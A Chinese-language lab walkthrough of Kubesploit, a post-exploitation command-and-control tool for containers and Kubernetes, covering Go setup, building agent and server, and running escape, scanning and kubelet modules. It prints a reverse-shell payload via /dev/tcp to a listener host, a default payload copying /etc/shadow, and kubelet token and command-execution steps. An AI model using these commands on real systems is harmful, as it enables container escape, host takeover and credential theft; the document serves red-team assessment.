1 Kubesploit介绍
1.1 Kubesploit是什么
Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,该工具基于Golang开发,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题。
我们的主要目标是提高社区对容器化环境安全的认识,并改进各种网络中实施的缓解措施。所有这些都是通过一个框架来实现的,这个框架为PT团队和红队成员在这些环境中的活动提供了适当的工具。使用这些工具将帮助你评估这些环境的优势,并进行必要的更改以保护它们。
由于C&C和代理基础设施已经由Merlin完成,我们只需要继承Go解释器(“Yaegi”)就可以在服务器端和代理运行Golang代码了。
它允许我们在Golang中编写模块,为模块提供更大的灵活性,并动态加载新模块。这是一个正在进行的项目,我们计划在未来添加更多与Docker和Kubernetes相关的模块。
1.2 Kubesploit能干什么
1.2.1 功能介绍
Kubesploit主要的功能就体现在其中的module,存放了多个可利用的攻击代码(POC)。我们先看看这些module能干些什么?
- linux/go/cve2019_5736:检测该容器是否存在CVE-2019-5736容器逃逸漏洞,并实现利用该漏洞,逃逸到宿主机上。
- linux/go/clusterCVEScan:扫描Kubernetes集群中的已知CVE漏洞;
- linux/go/portScan:端口扫描,重点是Kubernetes服务;
- linux/go/serviceScan:从容器内扫描Kubernetes服务;
- linux/go/kubeletAttack:通过该module可以获取所有pods的一些信息:rce,令牌等信息;
- linux/x64/bash/exec/bash:可以在agent中执行任意bash命令。
- linux/go/mountContainerBreakout: 通过将宿主机的磁盘重新挂载到容器中某个目录 实现容器逃逸。
- linux/go/dockerBreakout: 通过容器挂载的 /var/run/docker.sock(宿主机上) 文件实现容器逃逸。
1.2.2 攻击路线
了解各个module后,我们知道Kubesploit可以做的东西,下面我们从攻击者攻击路线来看,攻击者如何使用这些module,能达到什么样的攻击效果呢?
我们知道Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。使用该工具的前提是攻击者已经渗透到容器中,拿到容器的root权限。
(1)在容器中部署Kubesploit的agent端,并启动连上server端。进行容器的信息收集,运行步骤(4)。
(2)容器是否可逃逸到宿主机上?该工具有以下三种利用方式:
a.使用linux/go/cve2019_5736的module去探测利用,若利用成功,成功逃逸到宿主机后,
b.使用linux/go/mountContainerBreakout模块去将宿主机的磁盘重新挂载到容器中某个目录,然后使用 计划任务 crontab 写入个反弹shell的恶意代码,使得宿主机执行,则控制住宿主机。
c.使用linux/go/dockerBreakout模块利用 docker.sock 进行容器逃逸。
如果逃逸成功,拿到宿主机权限,进行(3)(4)(5)。
(3)使用inux/go/clusterCVEScan模块扫描k8s服务,是否存在已知的CVE漏洞?
(4)宿主机信息收集:通过使用linux/go/portScan进行端口收集,使用linux/go/serviceScan模块进行服务收集。
(5)pods探测:通过使用linux/go/kubeletAttack模块,进行pods信息收集:包括是否有RCE漏洞,token等,为进一步渗透到pod做准备。
1.3 Kubesploit怎么部署
首先Kubesploit是后渗透利用工具,因此使用该工具的条件是已经拿到容器或者主机的权限,想要进行进一步渗透攻击。因此Kubesploit分为server端和agent端,如下图所示,agent部署在已获得权限的容器或者主机中。server部署在攻击者机器上。攻击者可以通过server来控制所有agent,可以统一进行module攻击。
2 环境准备
该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。
使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】
(1)下载文件
wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz
(2)解压文件到 /usr/local
tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local
(3)配置环境变量
vi /etc/profile
在/etc/profile文件末尾添加以下配置,输入 :wq保存
#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath
(5)配置文件生效
source /etc/profile
go version
3 部署kubesploit
首先这里使用了3个主机(两个也可),作用如下。因此需要在sec9002上启动agent,sec9003启动server。
hostname | ip | 作用 |
---|---|---|
archery-sec9001 | 10.65.103.67 | 监听反弹shell(这个也可以在sec9003中监听) |
archery-sec9002 | 10.65.103.68 | 部署漏洞容器的主机,容器中部署部署kubesploit中的Agent |
archery-sec9003 | 10.65.103.69 | 部署kubesploit中的server |
3.1 安装
(1)在sec9003上下载kubesploit包
git clone git://github.com/cyberark/kubesploit.git
(2)进入安装包
cd kubesploit
(3)编译安装:
make
(4)快速构建(build) server和agent
export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go
可以看到kubesploit文件夹中生成了 agent和server。
(5)上面步骤在sec9002中的容器中做一遍,用来部署agent即可。
3.2 启动
(1)sec9003服务器端修改config.yaml,
vi config.yaml
(2)在sec9003服务器端启动服务器端
./server
下图可以看到最下面 服务器端开启了监听,因此agent只需要连接下面的地址即可。
(3)在sec9002的容器中启动Agent上连接server
./agent -url https://10.65.103.69:443 &
(4)Server上查看agentlist
agent list
从下图可以看到新的Agent认证检查通过,并且可以看到连接的Agent状态未delayed.
5 攻击
在Server上可以看到可以利用的模块如下图所示。按Tab可以查看所有的利用模块。所有module使用方法都很简单。以linux/go/portScan为例:
(1)使用module:use module +名字
kubesploit» use module linux/go/portScan
(2)查看module用法
kubesploit[module][PortScan]» info
(3)设置参数
kubesploit[module][PortScan]» set Urls 10.65.102.52
(4)开启扫描
kubesploit[module][PortScan]» run
根据1.2.2 攻击路线中提到 拿到一个容器权限后,首先做的是检测是否有漏洞可逃逸到宿主机上。
5.1 linux/go/cve2019_5736:Docker逃逸漏洞检测
cve2019_5736是一个Docker逃逸漏洞,关于该漏洞更多请查看XXx。
漏洞影响范围:Docker版本 < 18.09.2 或者使用 runc版本 <= 1.0-rc6的环境
(1)在sec9003主机上使用该模块
kubesploit» use module linux/go/cve2019_5736
(2)将默认的Payload:cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow 设置成反弹shell的载荷:
kubesploit[module][CVE-2019-5736]»set Payload #!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/8989 0>&1
(3)运行攻击
(4)可以观察到sec9002中容器agent信息,已经成功覆盖了/bin/sh
(5)sec9001上开启监听:
(6)再sec9002机器中重进入容器:
[root@archery-sec9002 supper-user]# docker exec -it cb957e46368f /bin/sh
(7)观察sec9001上的监听,发现反弹Shell成功。说明容器逃逸成功,已经获得sec9002主机权限。
5.2 port扫描
当从容器逃逸到宿主机上后,可以在宿主机上再安装agent去进一步渗透。
(0)返回主页面
kubesploit[module][CVE-2019-5736]t»main
(1)使用模块库
kubesploit» use module linux/go/portScan
(2)查看模块库使用信息
kubesploit[module][PortScan]» info
(3)设置扫描目前Url
kubesploit[module][PortScan]» set Urls 10.65.102.52
(4)开启扫描
kubesploit[module][PortScan]» run
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:04Z
[*] Scanning for open ports (15 threads)
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:07Z
[*] Scanning IP: 10.65.102.52
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:10Z
8443: kube-apiserver, Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:14Z
22: SSH
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:17Z
10256: Kube proxy health check server
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:20Z
80: http
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:23Z
443: https
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:27Z
10250: kubelet HTTPS API which allows full node access
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:30Z
6443: Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:33Z
2379: ETCD server port, kubernetes database
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:37Z
*** DONE ***
分别观察agent和server端输出。
5.3 service扫描
kubesploit» use module linux/go/servicesScan
kubesploit[module][K8sServicesScan]» set CIDR 10.254.0.0/16
扫描结果:无返回
5.4 k8s CVE扫描
在宿主机上可以扫描k8s有没有已知的CVE漏洞。Url为APIserver的地址
kubesploit» use module linux/go/clusterCVEScan
kubesploit[module][K8sClusterCVEScan]»info
kubesploit[module][K8sClusterCVEScan]»set Url https://10.65.102.52:6443
kubesploit[module][K8sClusterCVEScan]»run
运行后可以发现有下面3个已知CVE漏洞。
5.5 Kubelet attack
还可以使用Kubelet attack进一步去渗透各个pods中。
kubesploit» use module linux/go/kubeletAttack
kubesploit[module][kubeletctl]»info
kubesploit[module][kubeletctl]»set Url https://10.65.102.52:10250
kubesploit[module][kubeletctl]»set Command rce
kubesploit[module][kubeletctl]»set Command token
kubesploit[module][kubeletctl]»set Command run -a whoami
kubesploit[module][kubeletctl]»set Command run -as whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n kube-system -p haproxy-apaas-master8001 -c haproxy
因为我们的k8s 访问pod需要token的,因此我们攻击失败。
5.6 moutContainerBreakout
kubesploit» use module linux/go/mountContainerBreakout
kubesploit[module][ContainerBreakoutMounting]»info
kubesploit[module][ContainerBreakoutMounting]»run
具体使用功能。通过挂载宿主机磁盘来拿到宿主机权限。
5.7 use module linux/go/var-log-escape
kubesploit» use module linux/go/var-log-escape
5.8 linux/go/dockerBreakout
使用说明
ERROR
报错1
export GOOS=linux;export GOARCH=amd64;go build -ldflags "-s -w -X main.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X github.com/cyberark/kubesploit/pkg/agent.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X main.protocol=h2 -X main.url=https://127.0.0.1:443 -X main.host= -X main.psk=kubesploit -X main.proxy= -buildid=" -o data/temp/v0.1.2/8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f/kubesploitServer-Linux-x64 cmd/merlinserver/main.go
go: github.com/CUCyber/ja3transport@v0.0.0-20191126031250-d2ab5557668f: Get https://proxy.golang.org/github.com/%21c%21u%21cyber/ja3transport/@v/v0.0.0-20191126031250-d2ab5557668f.mod: dial tcp 216.58.200.81:443: i/o timeout
make: *** [server-linux] Error 1
**solution:**https://www.jianshu.com/p/b23727397119
报错2
go: finding github.com/francoispqt/gojay v1.2.13
go: finding github.com/golang/protobuf v1.4.2
go: finding google.golang.org/protobuf v1.25.0
go: finding github.com/marten-seemann/qpack v0.1.0
# github.com/lucas-clemente/quic-go/internal/handshake
/home/gopath/pkg/mod/github.com/lucas-clemente/quic-go@v0.17.3/internal/handshake/go_1-13.go:24:75: cannot use c (type *qtls.ClientHelloInfo) as type *tls.ClientHelloInfo in return argument
make: *** [server-linux] Error 2
**solution:**go版本号不兼容,使用1.14版本。
参考
https://github.com/cyberark/kubesploit git地址
https://www.freebuf.com/articles/container/271402.html 有点子简单介绍